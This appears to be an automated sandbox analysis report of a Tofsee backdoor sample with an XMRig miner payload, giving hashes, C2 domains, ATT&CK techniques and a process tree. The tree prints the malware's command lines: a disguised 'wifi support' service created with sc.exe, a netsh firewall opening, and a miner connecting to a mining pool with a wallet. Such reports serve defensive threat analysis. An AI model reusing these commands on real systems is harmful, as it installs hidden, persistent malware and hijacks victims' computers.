Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • submitted
    12-06-2022 11:14

General

  • Target

    98d887d259402f3be8d1fbf9769b3d056a631a6b98ef92b0f8d1ac00b5391bba.exe

  • Size

    215KB

  • MD5

    dfb9e15adde243f330fc751aa8f67b2a

  • SHA1

    1c7b21bb0c3da56c8ccdfda858a04e6ca05609c9

  • SHA256

    98d887d259402f3be8d1fbf9769b3d056a631a6b98ef92b0f8d1ac00b5391bba

  • SHA512

    dabe8f9f70de3cdae3efe486dc4a35592b7a722a6288164ec91947d05254541c226e4573312b20296156d2ec3c4239ad18332d78fc6b33e5731f7fcc61b27037

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\98d887d259402f3be8d1fbf9769b3d056a631a6b98ef92b0f8d1ac00b5391bba.exe
    "C:\Users\Admin\AppData\Local\Temp\98d887d259402f3be8d1fbf9769b3d056a631a6b98ef92b0f8d1ac00b5391bba.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3036
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ouqwwjwn\
      2⤵
        PID:3924
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gsukwncz.exe" C:\Windows\SysWOW64\ouqwwjwn\
        2⤵
          PID:3956
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ouqwwjwn binPath= "C:\Windows\SysWOW64\ouqwwjwn\gsukwncz.exe /d\"C:\Users\Admin\AppData\Local\Temp\98d887d259402f3be8d1fbf9769b3d056a631a6b98ef92b0f8d1ac00b5391bba.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:960
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ouqwwjwn "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1764
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ouqwwjwn
          2⤵
          • Launches sc.exe
          PID:2952
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3784
      • C:\Windows\SysWOW64\ouqwwjwn\gsukwncz.exe
        C:\Windows\SysWOW64\ouqwwjwn\gsukwncz.exe /d"C:\Users\Admin\AppData\Local\Temp\98d887d259402f3be8d1fbf9769b3d056a631a6b98ef92b0f8d1ac00b5391bba.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3296
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2188
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1752

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\gsukwncz.exe
        Filesize

        12.6MB

        MD5

        9fac61014982e12824a2a67cde3815f3

        SHA1

        b6659eeeac4858bdd50c97285833312903a406e7

        SHA256

        c0e06031f214f14e71a4bf51e482afec212bba6b3a363efa828c9a63a79e4927

        SHA512

        805eb6ff229b2d9f69934e93cb1589c30f96d24b9ff95791ddbbeaa1d28cdc167f3e253f9e7c17c602de6a3f8c74b505dc6a5878456e06b7986d2ba60ac61335

      • C:\Windows\SysWOW64\ouqwwjwn\gsukwncz.exe
        Filesize

        12.6MB

        MD5

        9fac61014982e12824a2a67cde3815f3

        SHA1

        b6659eeeac4858bdd50c97285833312903a406e7

        SHA256

        c0e06031f214f14e71a4bf51e482afec212bba6b3a363efa828c9a63a79e4927

        SHA512

        805eb6ff229b2d9f69934e93cb1589c30f96d24b9ff95791ddbbeaa1d28cdc167f3e253f9e7c17c602de6a3f8c74b505dc6a5878456e06b7986d2ba60ac61335

      • memory/960-186-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/960-184-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/960-185-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/960-183-0x0000000000000000-mapping.dmp
      • memory/960-188-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/960-189-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/960-187-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/1752-524-0x000000000274259C-mapping.dmp
      • memory/1764-194-0x0000000000000000-mapping.dmp
      • memory/2188-484-0x0000000002950000-0x0000000002965000-memory.dmp
        Filesize

        84KB

      • memory/2188-415-0x0000000002959A6B-mapping.dmp
      • memory/2188-489-0x0000000002950000-0x0000000002965000-memory.dmp
        Filesize

        84KB

      • memory/2952-207-0x0000000000000000-mapping.dmp
      • memory/3036-140-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-169-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-136-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-137-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-138-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-139-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-119-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-141-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-142-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-143-0x0000000000A3A000-0x0000000000A48000-memory.dmp
        Filesize

        56KB

      • memory/3036-144-0x00000000009D0000-0x00000000009E3000-memory.dmp
        Filesize

        76KB

      • memory/3036-145-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-146-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-147-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-148-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-149-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-150-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-151-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-152-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-153-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-155-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-154-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-156-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-157-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-158-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-159-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-160-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-161-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-162-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-163-0x0000000000400000-0x0000000000651000-memory.dmp
        Filesize

        2.3MB

      • memory/3036-165-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-164-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-166-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-167-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-168-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-135-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-120-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-121-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-122-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-123-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-124-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-222-0x0000000000400000-0x0000000000651000-memory.dmp
        Filesize

        2.3MB

      • memory/3036-220-0x0000000000A3A000-0x0000000000A48000-memory.dmp
        Filesize

        56KB

      • memory/3036-125-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-204-0x00000000009D0000-0x00000000009E3000-memory.dmp
        Filesize

        76KB

      • memory/3036-202-0x0000000000A3A000-0x0000000000A48000-memory.dmp
        Filesize

        56KB

      • memory/3036-126-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-127-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-134-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-133-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-132-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-131-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-130-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-129-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3036-128-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3296-423-0x0000000000400000-0x0000000000651000-memory.dmp
        Filesize

        2.3MB

      • memory/3784-218-0x0000000000000000-mapping.dmp
      • memory/3924-174-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3924-170-0x0000000000000000-mapping.dmp
      • memory/3924-171-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3924-172-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3924-173-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3924-175-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3956-178-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3956-176-0x0000000000000000-mapping.dmp
      • memory/3956-177-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3956-181-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3956-179-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3956-180-0x0000000077020000-0x00000000771AE000-memory.dmp
        Filesize

        1.6MB